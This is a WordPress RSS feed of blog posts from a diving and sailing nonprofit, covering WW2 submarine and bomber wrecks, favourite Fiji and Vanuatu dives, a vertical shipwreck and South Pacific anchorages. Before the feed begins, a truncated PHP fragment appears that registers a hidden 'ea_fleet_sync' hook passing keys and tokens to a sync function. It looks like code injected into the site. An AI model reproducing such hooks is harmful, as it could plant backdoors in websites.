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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); South Pacific - Drenched Productions https://drenchedproductions.com - Expedition Drenched Sun, 06 Nov 2022 16:29:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/drenchedproductions.com/wp-content/uploads/2021/05/cropped-Expedition-Drenched-TRANSPARENT-BACKGROUND_3.png?fit=32%2C32&ssl=1 South Pacific - Drenched Productions https://drenchedproductions.com 32 32 193191625 History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber https://drenchedproductions.com/diving-a-ww2-submarine-b17-flying-fortress-bomber/ Sat, 15 Oct 2022 16:24:30 +0000 https://drenchedproductions.com/?p=3049 We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre - Diving World War II history in the Solomon Islands

The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

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Diving a WW2 Submarine & B17 Flying Fortress Bomber | Expedition Drenched

History in the Solomon Islands - Diving a WW2 Submarine & B17 Flying Fortress Bomber

We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre – Diving World War II history in the Solomon Islands

They say that loose lips sink ships – but so do guns and wars!

This season of Expedition Drenched has brought our crew to (probably) the most beautiful place on earth, both above and below the water. The crystal-clear, warm, turquoise waters gave us almost too many excellent SCUBA dives to count and the lush green hills of the Solomon Islands introduced us to village after village of friendly and welcoming locals.

The Expedition Drenched crew spends a lot of time fighting to keep man-made things out of our ocean waters, but sometimes these things get into the water anyway. Wars around the world have left an untold number of shipwrecks and aeroplane wrecks on the ocean floor. One war, in particular, left a huge impact on the South Pacific – World War II.

The fighting in the Pacific Theatre during WWII was intense and a good deal of it was centred around the Guadalcanal area. So while we’re here we just had to strap on our SCUBA equipment and jump in to check out some of the wreckage left behind from the worst war in human history.

Guadalcanal - War Erupts in Paradise

Guadalcanal is the largest island in the Solomon Islands by area and the second most populated. It is a tropical paradise with deep blue and turquoise waters surrounding lush green flatlands and jungle-covered mountains. The tallest peak in the Solomon Islands is on Guadalcanal too.

Despite Guadalcanal and the rest of the Solomon Islands being one of the most idyllic places on earth, this area of the world saw some of the most intense battles during WWII. It was an extremely important strategic outpost in the Pacific Theatre for both the Allied forces and the Japanese.

At the beginning of 1942, Japanese forces landed in the Solomon Islands and New Guinea. Their goal was two-fold: to build a naval base that could protect the Japanese offensive and to create bases that could break supply lines for the Allied forces. The Allied forces didn’t really like this Japanese tactic and they launched their Guadalcanal campaign on August 7, 1942.  The fighting was bloody and drawn out, but eventually, the Allies were able to stop the Japanese by inflicting terrible losses on their military assets. While the Japanese kept resisting and engaging in the odd, isolated battle, the Allies were able to reclaim many of the Solomon Islands and neutralize strategic Japanese positions.

Japanese I-1 Submarine

The I-1 type of Japanese submarine was a large cruiser sub and was the lead unit of the four submarines in her class. The specific I-1 sub that we were looking to dive was originally commissioned in 1926 and she has one heck of a history. 

This submarine served in the Second Sino-Japanese War and WWII. During the latter, she supported the attack on Pearl Harbor, ran anti-shipping patrols in the Indian Ocean, and participated in the Aleutian Islands campaign and the Guadalcanal campaign. This particular submarine was no stranger to combat and was pretty lucky during her lifetime – until her mission near Guadalcanal where she was attacked by two New Zealand warships, the HMNZS Moa and Kiwi.

  • Dive Type: Submarine wreck
  • Date Wrecked: January 29, 1943
  • Depth: Minimum –  10m, maximum –  25m
  • Location: Near the village of Tambea – Honiara, Guadalcanal, Solomon Islands

The Moa and the Kiwi began patrolling the Guadalcanal area on December 19, 1942, and on the night of January 29, 1943, they found themselves near the Kamimbo Bay area of Guadalcanal, a Japanese-controlled area. The I-1 sub surfaced and headed for the port but was spotted by the Moa and the Kiwi. 

HMNZS MOA | Expedition Drenched
HMNZ Moa | Expedition Drenched

A heavy battle ensued and the sub submerged itself to avoid the powerful guns on the two attacking ships. But, not only did the ocean not give her a safe place to hide, but the ocean also gave away her position. The large submarine was moving through bioluminescent plankton-filled water that lit up the underwater vessel for the attacking forces to clearly see. The New Zealand warships took advantage of this natural help and dropped depths charges that successfully brought the I-1 back up to the surface. The Kiwi rammed the submarine three times and eventually ran it aground on a shallow reef near the shore where it still sits today.  

What is Bioluminescence?

Bioluminescence is one of the most amazing phenomena in the natural world. It’s a process where a living organism is capable of producing certain chemicals that produce light. That’s right. Bioluminescent creatures come with their own lightbulbs. 

The most well-known example of bioluminescence is fireflies. Also known as glowworms or lightning bugs, fireflies are soft-bodied beetles that live in the marshes and wooded areas of temperate and tropical climates. They have specialized cells in their abdomens that allow them to produce light. The entire chemical process that occurs within these cells is super complex but essentially the cells contain chemicals that produce light when exposed to oxygen. Believe it or not, a firefly can also control the beginning and end of the chemical reaction. It can turn its light on and off by allowing or disallowing oxygen access to the cells. 

While fireflies might be the most common example of bioluminescence in the natural world, the majority of creatures who are bioluminescent live in the oceans. From tiny little bacteria to large predatory sharks, the examples of marine bioluminescence are endless and extraordinary. Not only does the bioluminescence adaptation exist throughout the entire range of marine organisms, but it’s also found in all marine habitats from the surface to the deep sea floor. 

The bioluminescence that gave away the I-1 submarine’s position occurred in the surface waters and was generated by a bloom of plankton. It might seem crazy that a bloom of microscopic creatures can produce enough light to give away the position of a well-designed submarine, but it’s true. As the plankton are disturbed in their watery home, they become bioluminescent to (it’s believed) deter any more interaction from a potential predator. 

SCUBA divers often take advantage of this apparent defence mechanism to give themselves a little fun when they’re diving at night. If you turn off your underwater torch during a night dive so that it’s as dark in the water as it can be, then move your arms around rapidly, things in the water will start to glow. The small organisms in the water begin to produce light because they believe the rapid change of water movements is a danger to them.

The Submarine That Exploded Twice

After the Japanese I-1 submarine ran aground on a reef, the surviving Japanese soldiers abandoned the ship, leaving everything behind. The submarine’s commander, Lt. Koreeda, quickly realized that during the evacuation, they’d left behind things that could be very useful to the Allies – like code books, charts, lists of Japanese marine designations, future military plans, and more. He knew that they had to go back to the stricken submarine.

During the night of February 2, 1943, Lt. Koreeda, two junior officers, five crew members, and eleven other Japanese sailors returned to the I-1 sub-armed with depth charges that they hoped would destroy the vessel. The charges weren’t quite strong enough but they did do enough damage to make most salvage attempts useless. Not all attempts, however. The Americans were able to retrieve a code book from the destroyed I-1 sub that eventually allowed them to crack the Japanese code.

Diving an American B17 Bomber Airplane

It’s estimated that there are 200 shipwrecks and 690 aeroplane wrecks in the Guadalcanal area. That’s a lot of history hidden beneath the waves! We couldn’t bear sailing to such a history-filled area and only diving one of the WWII wrecks. After exploring the Japanese submarine, we piloted our little boat over to an American B17 bomber just offshore from the village of Ndomo.

  • Dive Type: American B17 bomber wreck
  • Date Wrecked: September 24, 1942
  • Depth: Minimum –  9m, maximum –  18m
  • Location: Near the village of Ndomo – Vilu, Guadalcanal, Solomon Islands

This particular aeroplane wreck is a Boeing B17 ‘Flying Fortress’ Bomber originally built in Seattle, Washington. The plane was affectionately called Bessie by its crew. In September 1942, Bessie was relocated to Henderson Airbase in Guadalcanal. On the 24th of that month, she took part in a bombing mission to Tonolei in New Guinea to destroy a Japanese seabase. 

During the bombing raid, Bessie was heavily attacked by Japanese Zeros (a type of fighter plane). She was in rough shape and she tried desperately to return to Guadalcanal, but she didn’t make it. She ditched at sea a mere 180m from the shore, 30km inside a Japanese-controlled area. 

Bessie’s captain was badly injured in the crash but managed to make it to shore and evade capture by the Japanese for six days. A gunner also survived the crash and managed to escape capture. His remains were found in the Guadalcanal hills after the Japanese retreated. The fates of the other crew members remain a mystery.

The final resting place for this proud American aircraft is a patch of black volcanic sand sitting on the fringes of a lush coral reef. She’s missing her tail but otherwise, she’s still intact with her four large engines still hanging from the wings and seats still attached in the cockpit. The wreck is now crusted in brightly-coloured corals and sponges and its aluminium alloy construction means that it’s been able to withstand the corrosive effects of an eternity at sea. It still looks just like an aeroplane!

The marine life that call the waters of the South Pacific home didn’t ask for war and certainly were not part of the conflict that brought so many countries to arms. WWII was destructive on land and also on our seas. Years of constant fighting, explosions, fuel spills and metal vessels littering the ocean floor brought havoc to the marine world. SCUBA diving on these WWII wrecks really helped the Expedition Drenched crew to remember a very uncertain time in the history of the world, but it also reminded us that the marine environment is capable of regrowth and regeneration. Just look at all the coral and life that you can find on these historical wrecks.

Happy (history) bubbles! 

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

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The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

]]> 3049 Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/ https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/#comments Fri, 02 Sep 2022 19:51:42 +0000 https://drenchedproductions.com/?p=2846 From snow white coral to schools of bull sharks, to a Crown of Thorn's cull - our list of the TOP SCUBA dives in Fiji and the Vanuatu Archipelago.

The post Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu first appeared on Drenched Productions.

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Diving The South Pacific - Fiji & Vanuatu | Expedition Drenched

Diving the South Pacific - Our TOP Dives Around AMAZING Fiji and Vanuatu

From snow white coral to schools of bull sharks, to a Crown of Thorn’s cull – our list of the TOP SCUBA dives in Fiji and the Vanuatu Archipelago.

Expedition Drenched has been lucky enough to dive some of the best dive sites in the world and on those sites we’ve been blessed to see some incredible things. But there’s one location in the world that will always hold our SCUBA hearts firmly in its grasp – the South Pacific, specifically Fiji and Vanuatu.

We’ve already published videos on our favourite mooring sites and favourite dive sites in the South Pacific, but now we want to focus on just Fiji and Vanuatu.

Our favourite dives in these island nations gave us something truly unique – from a snow-white reef, to a sunken ex-luxury liner, to a Crown of Thorns cull dive. These four dives changed who we are as SCUBA divers and marine conservationists, and we think they’ll change you too.

 

Great White Wall, Rainbow Reef, Fiji

  • Dive type: Wall dive with some swim throughs
  • Minimum depth: 8m
  • Maximum depth: 40m 

Ever wondered what it would be like to dive into a snowy landscape? Well wonder no more, just dive the Great White Wall in Fiji!

White Wall is known for the huge quantity of white, fluffy, soft coral that gives the dive site the look of being covered in a layer of fresh snow. White coral is fairly rare in the underwater world so to dive a site that has such a huge concentration of these beautiful creatures was an incredible treat, even for those of us who don’t usually like looking at coral. These were arguably the healthiest corals we have ever seen. 

The site is also a great place to comb the rock face looking for small things like nudibranchs and crabs. We even saw a couple of sharks on our dive so this site can surprise you with many unexpected things from out of the blue.

SS President Coolidge Wreck, Espirito Santo, Vanuatu

  • Dive type: Wreck dive
  • Minimum depth: 20m
  • Maximum depth: 70m

The SS President Coolidge wreck is one of the most popular shipwreck dives in the world, and it’s also the largest. The wreck itself is roughly 200 meters long and 25 meters wide with about 50 different ‘dive sites’ to explore.

When it was originally built, the Coolidge was a luxury liner that could accommodate about 1,000 passengers. In December 1941, she was sent into service as a troop carrier for the U.S. war effort in the South Pacific. In October 1942, the SS President Coolidge was coming into port in Luganville on Espiritu Santo. But she had missed a crucial message from the U.S. military already on shore – make sure you take the back way into the bay because underwater mines are blocking the main channel. The SS President Coolidge struck one of these mines and sunk close to shore. In a very real way, the Coolidge was sunk by its own team. 

This shipwreck is HUGE. It’s recommended to spend at least 10 dives on the wreck to even start exploring the treasures it has to offer. You could spend months looking into each room and nook that the wreck has to offer. Keep in mind that every dive on this wreck will require a deco stop on your ascent, so it’s not the right kind of place for a novice or under-trained diver.

The highlight of this dive for us was finding the “Lady and the Unicorn” statue deep inside the wreck. We had rough, hand-drawn directions with us, and a keen drive to locate the statue, but even still we were blown away when the light of our torches finally revealed the porcelain statue that used to have a prominent place in the ballroom when the Coolidge was still a luxury liner.

Bull Shark Dive, Pacific Harbour, Fiji

  • Dive type: Shark dive
  • Depth: Who cares? BULL SHARKS
  • Considerations: Not a dive for the faint of heart

Bull sharks are requiem sharks usually found in warm, shallow waters all over the world. They are well-known for their aggressive nature and their terrifying ability to thrive in both the salt water of the oceans and the freshwater of rivers and lakes. A young boy was allegedly bitten by a bull shark in Lake Michigan, Illinois, in 1955, and experts say that while the attack is unconfirmed, it’s entirely possible. 

So who wants to go diving with these testy creatures? We do!

We jumped in the water in Pacific Harbour in the south of Fiji and were super excited to see a few bull sharks. But we didn’t see a few. We saw tons! Honestly, we were all a little shocked at how many large bull sharks were down there with us, and how close they came to our group of submarine humans. 

The dive itself wasn’t too deep and it certainly wasn’t a dive that we were used to. Once down at our dive depth, we all lined up behind a man-made wall of stones and used it to give us a little bit of protection from the huge sharks. Our guides and safety divers were around us with large hooks to poke the sharks away if they got too curious or too excited. 

If you like adventure and love the feeling of your heart racing, then a bull shark dive in Fiji should be on your list. Nothing gets the blood pumping like being surrounded by dozens of 3-meter-long aggressive sharks!

Crown of Thorns Cull Dive, Port Havannah, Vanuatu

  • Dive type: Conservation dive
  • Purpose: Contain the Crown of Thorns starfish
  • Why?: They’re destroying local reefs

Crown of Thorns starfish have been spawning on a large scale in the Vanuatu archipelago for many, many years. These beautifully spikey creatures are underwater pests. These animals spawn in the millions from December to March, so every year, an existing problem gets even worse. 

Why is it such a big problem? Each night, the nocturnal Crown of Thorns can eat up to its body area in coral, and they can grow to become up to a meter in diameter. The average Crown of Thorns consumes up to 13 square meters of reef every year. Left unchecked, they can easily and quickly destroy an entire coral reef. 

Crown of Thorns starfish are large and can travel big distances to find a tasty piece of coral. When they find a good-looking meal, they extrude their stomachs around the coral and slowly digest the polyps and suck up the liquid meal. After the polyps are sucked out of the calcium substrate, the coral appears white. Within a few weeks, black algae will start to cover the dead coral making it hard for new coral to attach and grow. 

When we arrived at Efate Island in southern Vanuatu, we went straight to Port Havannah to meet Peter, a resident who has dedicated himself to saving his local reefs from the invasion of the Crowns. He explained the two methods we’d be using to cull these pests from the reef and the special safety considerations we needed to keep in mind (like that the Crown of Thorns is covered in poisonous spikes). And then, we went diving and did our part to help protect the beautiful ocean world around Vanuatu. 

We managed to collect or kill over 200 Crown of Thorns starfish on our dive, and while we were happy with that number, it doesn’t even make a dent in the problem. Peter and the entire Vanuatu region need the help of SCUBA diving volunteers to really go to war with the Crowns. Visit Peter’s website to learn more about how you can get involved to help control the explosion of Crown of Thorns starfish in Vanuatu. 

Have you been diving in Fiji or Vanuatu and have a special dive stuck in your memory that didn’t make our list? Head over to our YouTube channel and leave us a comment on our TOP 10 Most AMAZING DIVE SITES In the South Pacific video to tell us about your experiences!

Go forth and explore our beautiful marine world. Happy bubbles!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON
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Products

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu first appeared on Drenched Productions.

]]> https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/feed/ 1 2846 We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/ https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/#comments Sun, 10 Jul 2022 17:23:25 +0000 https://drenchedproductions.com/?p=2356 The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck - 1 of 2 in the whole world!

The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

]]>
Dive a magical vertical Shipwreck | Expedition Drenched

We Dived a Magical Vertical Shipwreck - One of Only TWO in the Whole World!

Expedition Drenched

10 July 2022

The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck – 1 of 2 in the whole world!

The Expedition Drenched crew has been lucky enough to see and experience some incredible things over the years. From meeting people from incredible lands, to diving some incredible shipwrecks, to having amazing encounters with some magical marine life – we have been so lucky to be able to live our passion for the oceans in such a life-changing way. 

In our huge library of experiences, some still stand out amongst the others. Our voyage to the Solomon Islands during our first season was definitely one of those experiences. A once-in-a-lifetime trip that will live in our memories, and in the sails we hoist over the Sylfia, for all voyages to come.

While we do love our treasured boat, once in a while we leave her behind and go to shore to wiggle our toes in some beautiful white sand. One of the most magical things about the Solomon Islands is the fact that there aren’t many people around. Sitting on a beach, totally alone,  in the middle of a scattering of some of the most beautiful tropical islands we’ve ever seen was a highlight for our first crew. 

And who doesn’t love to run and play with a friendly pig on such a lovely beach? We loved our relaxing time on that little sand bar but Peanut the pig had an absolute running around and chasing hermit crabs. She snored for days after that. 

But what made this stop on our Solomon Islands voyage so truly memorable wasn’t just the time we spent together in a spectacular location, but also the shipwreck that we specifically came to locate. It’s one of only two shipwrecks in the world that have sunk in totally vertical positions. 

The first wreck is the HMS Victoria which sits in roughly 120 meters of water off the coast of Tripoli in northern Lebanon. The second wreck is the one we came to see – the Taiyo tuna fishing ship that now lives under the waves in the Solomon Islands.

 

Where are the Solomon Islands?

The Solomon Islands are in Oceania, east of Papua New Guinea and northwest of Vanuatu. It’s a sovereign nation that consists of six large islands and over 900 small ones. It was first visited by European explorers in 1568 when Spanish navigator Álvaro de Mendaña directed his ship into the tangle of tropical outcrops. But the islands have been inhabited since at least 30,000-28,800 BCE by indigenous peoples. 

 

Even though the Solomon Islands look like they’re a remote paradise, they’re easy to access with a short(ish) 3-hour flight from Brisbane, Australia. From North America, most travellers depart from Los Angeles towards Brisbane, whereas European travellers will typically have a stopover in Thailand or Hong Kong on their way to Brisbane.

Taiyo Wreck - Forever on Her Heels

We all make mistakes. Some are minor mistakes, some teach us valuable lessons, but others are just big head-slapping mistakes. That’s what happened to the crew of the Taiyo when they ventured into the Solomon Islands and Nono lagoon. 

The Taiyo was a Japanese tuna fishing vessel on its maiden fishing voyage when it picked a fight with the uncharted maze of reefs in the Nono lagoon. Many of the reefs in the area are perched on the top of towering underwater rock walls caused by the volcanic activity that built the area back in ancient history. These walls and their sharp reefs are really dangerous to ship captains that sail into the area.

The Taiyo ran into one of these reefs head-ons and beached itself on the shallow corals. After sitting there for a few days, a salvage effort was launched to free the ship and hopefully repair any damage. The ship was pulled back off the reef but it immediately started to take on water. It sunk with its stern pointed towards the deep and its bow sitting only about a meter below the surface of the turquoise water. 

The ship looks like it could tip over at any moment but it’s actually resting between two parts of the reef. The Taiyo now will spend the rest of its days standing at attention on the edge of the Nono reef under the sun of the South Pacific. 

Now Forever in our Hearts

Our diving experience on the Taiyo was an adventure in and of itself. We boarded our dingy boat from the Sylfia and powered ourselves over the crystal-clear water towards a nearby village. We were on our way to pick up a local friend of ours who knew exactly where the Taiyo wreak was located. For most of the trip, we were entirely distracted by the beauty of the surrounding islands, but all of a sudden our attentions shifted to something beneath the water.

The water in the Solomon Islands is so clear and the Taiyo wreck is so shallow that it can be easily seen from the surface. It’s so visible that a few of our crew members thought the dingy was going to hit the wreck. But we didn’t, we glided over it slowly like we were skating over a moment frozen in time.

Most of the time when you dive into a shipwreck, you descend through the depths to find a shipwreck at the bottom. Because of the depth, you’re usually limited with the amount of time you can spend exploring underwater history. The Taiyo’s vertical position makes this wreck dive different from conventional ones. You can explore the wreck the entire time you’re descending and ascending, even spending your safety stop time combing the sides of the wreck for alien-looking nudibranchs. 

The variety of nudibranchs really sets this wreck apart in our minds too. If you don’t know, a nudibranch is a slug that lives under the water. But they’re fancy slugs. The variety of colours, patterns, shapes, and sizes in the nudibranch community is unparalleled in the natural world. These soft-bodied creatures look like they’ve come from a world where everyone has as much fun as the adventurous Expedition Drenched crew.

Without a doubt, this wreck dive will stand out in your mind for the rest of your life, as it will in ours. Shipwrecks are always a wonderful underwater adventure but the vertical orientation of the Taiyo combined with the stunning clarity of the Solomon Islands water make this dive almost a religious experience. We had an epiphany and her name is Taiyo.

Solomon Island lagoons - Shipwreck Graveyards

The lagoons and reefs of the Solomon Islands are a beautiful sight for the eyes but can be serious dangers for ships and even smaller boats like our Sylfia. As we were coming through the reef to find our spot to shelter for the night, our depth finders reported a depth of 2.5 meters over the reef. The entire crew was sweating buckets for the half-hour it took to squeeze ourselves into the lagoon since the Sylfia’s hull is only 2.5 meters deep.

At roughly 700 sq. km., Marovo lagoon is the second-largest saltwater lagoon in the world. It also contains some of the largest coral reef systems in the entire Solomon Islands because the lagoon is protected by barrier reefs and raised limestone islands. 

Nono lagoon is located on the southwest side of Vangunu Island, just one of several islands in the area that are extinct volcanoes. Like the Marovo lagoon, the Nono lagoon is also protected by its largest quantity of reefs and the surrounding islands that pepper the ocean landscape. 

 

Season 3 of Expedition Drenched is now underway and we are off on another out-of-this-world experience with our third set of ocean-loving crew members. Stay tuned to our YouTube channel for our latest vlogs as we travel to and explore Lord Howe Island nestled in the Pacific Ocean between Australia and New Zealand. As always, it’s going to be a wild adventure!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
BUY AT AMAZON
Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON

The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

]]> https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/feed/ 2 2356 TOP 10 Most BEAUTIFUL Anchorages In the South Pacific https://drenchedproductions.com/top-10-most-beautiful-anchorages-in-the-south-pacific/ https://drenchedproductions.com/top-10-most-beautiful-anchorages-in-the-south-pacific/#comments Fri, 03 Dec 2021 06:34:24 +0000 https://drenchedproductions.com/?p=1462 With our first year at sea behind us, we have returned to “civilization” and some of the realities of the connected world. This has given us the opportunity to reflect on our travels and we have compiled our Top Ten Most Beautiful Anchorages in the South Pacific, and we are throwing in our two LEAST FAVORITE ones as an added bonus!

The post TOP 10 Most BEAUTIFUL Anchorages In the South Pacific first appeared on Drenched Productions.

]]>

EXPEDITION DRENCHED IS A MARINE EDUCATIONAL NON-PROFIT 501c3

TOP 10 Most BEAUTIFUL Anchorages In the South Pacific | Expedition Drenched

TOP 10 Most BEAUTIFUL Anchorages In the South Pacific

By Expedition Drenched

 24 April 2021

With our first year at sea behind us, we have returned to “civilization” and some of the realities of the connected world. This has given us the opportunity to reflect on our travels and we have compiled our Top Ten Most Beautiful Anchorages in the South Pacific, and we are throwing in our two LEAST FAVORITE ones as an added bonus!

10. Niue, New Zealand

Despite being part of the Realm of New Zealand, Niue is nothing like the land of Kiwis. It is famous for deep, crystal clear waters and extensive cave networks. The water clarity is especially beneficial during whale season as we were able to get incredible footage of these gentle giants while swimming alongside them (permits required). The sheer angle of the islands also makes dinghy handling a unique experience when coming ashore while the great depths combined with sensitive coral life on the seabed made it trickier than usual to moor the Sylfia. Despite (or maybe because of) its remoteness, Niue is definitely a destination to add to your bucket list!

9. Namotu, Fiji

Famous amongst surfers for the huge breaks of Cloudbreak, Namotu also features some easier surfing and was a perfect location for the crew to chill, edit video, and hit the breaks. The visibility made snorkeling palatable for Nate, and we also managed to fit in a shark dive!

TOP 10 Most BEAUTIFUL Anchorages In the South Pacific
TOP 10 Most BEAUTIFUL Anchorages In the South Pacific | Expedition Drenched
TOP 10 Most BEAUTIFUL Anchorages In the South Pacific | Expedition Drenched

8. Wallis & Futuna, "France"

Actually a French overseas collectivity, Wallis & Futuna, is located between Tuvalu, Fiji, Tonga, Samoa, and Tokelau. The territory’s obscurity means that it is rarely visited, so much so that our arrival made the local AND Parisian news! The abundance of wine, cheese and pain au chocolat made for a welcome respite from our usual fare.

7. Manta Point, Fiji

Famous for the eponymous manta rays, this is definitely on the itinerary of most South Pacific sailors. Tidal currents bring plankton to this location, making it a perfect spot to snorkel with mantas while they feed. It is also located near two sunken fishing trawlers which make for a neat little dive while waiting for the right currents.

6. Luisade Archipelago, Papua New Guinea

We were unfortunately only able to spend two days here due to the Covid 19 situation at the time, but the water clarity and abundance of fish make look forward to a return journey. The people here were extremely friendly and welcoming, especially as we were the only visitors at the time.

5. Roderick Bay, Solomon Islands

AKA John Ruka’s Village, AKA the site of the World Discoverer shipwreck, Roderick Bay has an abundance of World War II wrecks. Fighter planes and trawlers are among the wrecks, while this is a great location to see nudibranchs, mantis shrimp and other marine life. The bay is also famous amongst sailors for the hospitality of John Ruka, who joined us as a crew member for a month and gave us so many opportunities to see more of the neighboring islands than we could on our own.

4. Tetapare, Solomon Islands

Both a nature and marine preserve, Tetapare is the largest uninhabited island in the Solomons. The massive fish are completely unperturbed by divers, which gave us a chance for many close encounters! Our visit also coincided with the hatching of many clutches of green sea turtle eggs, which we were able to witness. Tetapare is also stunning on land and we enjoyed many hikes through its rainforest.

3. David's Village, Tonga

Located on the island of Vaka Eitu, David’s Village is reputed (by the locals at least) to be the birthplace of Kava. Kava is a mildly intoxicating and traditional medicinal drink consumed throughout the South Pacific and its consumption also plays an important social role. David and his family were extremely welcoming and invited us to take part in village life. This is also a great spot to observe humpback whales and we were lucky enough to spend time with them. Cave diving is also on the menu here, including the incredible Swallow’s cave.

2. Port Resolution, Vanuatu

In addition to being THE quintessential South Pacific Village, Port Resolution also features a very active volcano which is constantly micro erupting. The local culture is extremely vibrant, and the diving was spectacular. This is also the home of Peanut, who joined us for the rest of our journey.

1. Niuatoputapu, Tonga

The northernmost island in the Kingdom of Tonga is extremely welcoming; even the whales were happy to see us! After a tricky entry into its natural harbor, we were greeted by a lush forest of palm trees straight out of Castaway. We were treated to the surreal sight of manta rays circling the Sylfia with an active volcano as a backdrop. The volcano also made for an amazing hike guided by the Stanley brothers. The combination of scenery, wildlife and hospitality made it our favorite South Pacific anchorage.

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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We Went Night Diving in Sydney Harbour – Rays, Cuttlefish, and Seahorse Hotels
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One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit
Learn more

The post TOP 10 Most BEAUTIFUL Anchorages In the South Pacific first appeared on Drenched Productions.

